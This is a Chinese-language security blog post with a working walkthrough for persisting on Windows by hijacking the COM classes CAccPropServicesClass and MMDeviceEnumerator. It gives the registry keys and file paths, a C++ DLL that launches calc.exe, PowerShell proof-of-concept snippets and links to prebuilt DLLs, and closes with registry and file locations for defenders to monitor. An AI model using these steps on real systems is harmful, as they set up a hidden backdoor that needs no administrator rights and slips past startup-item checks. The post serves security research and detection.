Use COM Object hijacking to maintain persistence——Hijack CAccPropServicesClass and MMDeviceEnumerator

发布于 2025-01-18 08:27:14 字数 9213 浏览 4 评论 0

0x00 前言

在之前的文章 《Use CLR to maintain persistence》 介绍了通过 CLR 劫持所有.Net 程序的方法,无需管理员权限,可用作后门。美中不足的是通过 WMI 添加环境变量需要重启系统。

本文将继续介绍另一种后门的利用方法,原理类似,但优点是不需要重启系统,同样也不需要管理员权限。

注:本文介绍的方法曾被木马 COMpfun 使用

详细介绍地址:https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence

0x01 简介

本文将要介绍以下内容:

  • 后门思路
  • POC 编写
  • 防御检测

0x02 COM 组件

  • COM 是 Component Object Model (组件对象模型)的缩写
  • COM 组件由 DLL 和 EXE 形式发布的可执行代码所组成
  • COM 与语言,平台无关
  • COM 组件对应注册表中 CLSID 下的注册表键值

0x03 后门思路

注:思路来自于 https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence

同使用 CLR 劫持.Net 程序的方法类似,也是通过修改 CLSID 下的注册表键值,实现对 CAccPropServicesClass 和 MMDeviceEnumerator 劫持,而系统很多正常程序启动时需要调用这两个实例,所以,这就可以用作后门来使用,并且,该方法也能够绕过 Autoruns 对启动项的检测。

32 位系统利用方法:

1、新建文件

%APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\ 下放入测试 dll,重命名为 api-ms-win-downlevel-[4char-random]-l1-1-0._dl

注:测试 dll 下载地址: https://github.com/3gstudent/test/blob/master/calc.dll

重命名为 api-ms-win-downlevel-1x86-l1-1-0._dl

如下图

Alt text

2、修改注册表

注册表位置: HKCU\Software\Classes\CLSID\

创建项 {b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}

创建子项 InprocServer32

Default 的键值为测试 dll 的绝对路径:

C:\Users\a\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\api-ms-win-downlevel-1x86-l1-1-0._dl

创建键值: ThreadingModel REG_SZ Apartment

注册表内容如下图

Alt text

3、测试

启动 iexplore.exe,触发后门,多次启动 calc.exe,最终导致系统死机

启动过程多次调用实例 CAccPropServicesClass(),因此导致启动多个 calc.exe,最终系统死机

4、优化

可以对 dll 加一个互斥量,防止重复加载,只启动一次 calc.exe

c++代码为:

#pragma comment(linker,"/OPT:nowin98")
BOOL TestMutex()
{

    HANDLE hMutex = CreateMutex(NULL, false, "myself");  
    if (GetLastError() == ERROR_ALREADY_EXISTS)
    {
        CloseHandle(hMutex);
        return 0;  
    }
    return 1;
}
BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
        case DLL_PROCESS_ATTACH:
            if(TestMutex()==0)
                return TRUE;
            WinExec("calc.exe",SW_SHOWNORMAL);
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }return TRUE;
}

优化方法参照: https://3gstudent.github.io/Use-Office-to-maintain-persistence

编译后大小 3k,如果多次加载该 dll,会因为互斥量导致只加载一次,也就是说只启动一次 calc.exe

编译好的 dll 下载地址:https://github.com/3gstudent/test/blob/master/calcmutex.dll

换用新的 dll,再次测试,只启动一次 calc.exe,如下图

Alt text

64 位系统利用方法:

1、新建文件

%APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\ 下分别放入 32 位和 64 位的测试 dll

32 位 dll 下载地址:https://github.com/3gstudent/test/blob/master/calcmutex.dll

重命名为 api-ms-win-downlevel-1x86-l1-1-0._dl

64 位 dll 下载地址:https://github.com/3gstudent/test/blob/master/calcmutex_x64.dll

重命名为 api-ms-win-downlevel-1x64-l1-1-0._dl

2、修改注册表

(1)

注册表位置: HKCU\Software\Classes\CLSID\

创建项 {b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}

创建子项 InprocServer32

Default 的键值为 64 位 dll 的绝对路径:

C:\Users\a\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\api-ms-win-downlevel-1x64-l1-1-0._dl

创建键值: ThreadingModel REG_SZ Apartment

注册表内容如下图

Alt text

(2)

注册表位置: HKCU\Software\Classes\Wow6432Node\CLSID\

创建项 {BCDE0395-E52F-467C-8E3D-C4579291692E}

创建子项 InprocServer32

Default 的键值为 32 位 dll 路径:

C:\Users\a\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\api-ms-win-downlevel-1x86-l1-1-0._dl

创建键值: ThreadingModel REG_SZ Apartment

注册表内容如下图

Alt text

3、测试

分别启动 32 位和 64 位的 iexplore.exe,均可触发后门,启动一次 calc.exe

测试成功

注:{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7} 对应 CAccPropServicesClass

参考链接:https://msdn.microsoft.com/en-us/library/accessibility.caccpropservicesclass(v=vs.110).aspx?cs-save-lang=1&cs-lang=cpp

{BCDE0395-E52F-467C-8E3D-C4579291692E} 对应 MMDeviceEnumerator

参考链接:http://msdn.microsoft.com/en-us/library/windows/desktop/dd316556%28v=vs.85%29.aspx

0x04 POC 编写

POC 开发需要注意的细节:

1、操作默认不一定包含文件夹

需要先判断文件夹 %APPDATA%\Microsoft\Installer\ 如果没有,在 %APPDATA%\Microsoft\ 下创建文件夹 Installer

if((Test-Path %APPDATA%\Microsoft\Installer\) -eq 0)
{
    Write-Host "[+] Create Folder:  $env:APPDATA\Microsoft\Installer\"
    new-item -path $env:APPDATA\Microsoft\ -name Installer -type directory
}

2、创建文件夹{BCDE0395-E52F-467C-8E3D-C4579291692E}

由于包含特殊字符{},需要双引号包含路径

if((Test-Path "%APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}") -eq 0)
{
    Write-Host "[+] Create Folder:  $env:APPDATA\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}"
    new-item -path $env:APPDATA\Microsoft\Installer -name {BCDE0395-E52F-467C-8E3D-C4579291692E} -type directory
}

3、创建 payload 文件

首先判断操作系统

if ([Environment]::Is64BitOperatingSystem)
{
        Write-Host "[+] OS: x64"       
}
else
{
        Write-Host "[+] OS: x86"
}

不同系统释放不同文件,释放文件依旧使用 base64,可参考文章: https://3gstudent.github.io/Use-Office-to-maintain-persistence

4、创建注册表

修改注册表默认值,如下图

Alt text

在 powershell 下,需要使用特殊变量 "(default)"

$RegPath="HKCU:Software\Classes\CLSID\"
New-ItemProperty $RegPath"{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InprocServer32" "(default)" -value $env:APPDATA"\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\api-ms-win-downlevel-1x86-l1-1-0._dl" -propertyType string | Out-Null

完整 POC 已上传至 Github,地址为: https://github.com/3gstudent/COM-Object-hijacking

0x05 防御检测

结合利用方法,注意监控以下位置:

1、注册表键值

  • HKCU\Software\Classes\CLSID{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\
  • HKCU\Software\Classes\Wow6432Node\CLSID{BCDE0395-E52F-467C-8E3D-C4579291692E }

2、文件路径

%APPDATA%\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\

命名方式: api-ms-win-downlevel-[4char-random]-l1-1-0._dl

0x06 小结

本文介绍了通过 COM Object hijacking 实现的后门利用方法,使用 powershell 脚本编写 POC,分享 POC 开发中需要注意的细节,结合实际利用过程分析该后门的防御方法。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

药祭#氼

暂无简介

文章
评论
26 人气
更多

推荐作者

迎风吟唱

文章 0 评论 0

qq_hXErI

文章 0 评论 0

茶底世界

文章 0 评论 0

捎一片雪花

文章 0 评论 0

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文